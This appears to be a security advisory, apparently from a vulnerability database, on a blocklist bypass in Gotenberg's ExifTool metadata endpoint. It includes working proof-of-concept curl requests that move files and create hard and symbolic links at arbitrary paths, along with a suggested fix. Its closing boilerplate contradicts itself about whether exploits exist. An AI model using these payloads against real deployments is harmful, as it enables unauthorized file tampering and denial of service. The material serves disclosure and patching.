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GHSA-qmwh-9m9c-h36m
No affected components available
Summary
The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.
Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.
Root Cause
pkg/modules/exiftool/exiftool.go lines 231-237:
dangerousTags := []string{
"FileName", // Writing this triggers a file rename in ExifTool
"Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
delete(metadata, tag)
}
Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.
The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.
The blocklist also omits two dangerous ExifTool pseudo-tags:
HardLink: creates a hard link to the file at the specified pathSymLink: creates a symbolic link to the file at the specified path
PoC
All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.
Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'
HardLink (hard link created at /tmp/hardlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'
SymLink (symbolic link created at /tmp/symlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'
Verification inside the container:
$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf
Also confirmed ExifTool case-insensitivity directly:
exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName=
Impact
An attacker with access to the Gotenberg API (unauthenticated by default) can:
- Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase
filename/directory - Create hard links at arbitrary paths via
HardLink, persisting data beyond temp directory cleanup - Create symbolic links at arbitrary paths via
SymLink
In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.
Suggested Fix
Use case-insensitive comparison and expand the blocklist:
dangerousTags := []string{
"FileName",
"Directory",
"HardLink",
"SymLink",
}
for key := range metadata {
for _, tag := range dangerousTags {
if strings.EqualFold(key, tag) {
delete(metadata, key)
}
}
}
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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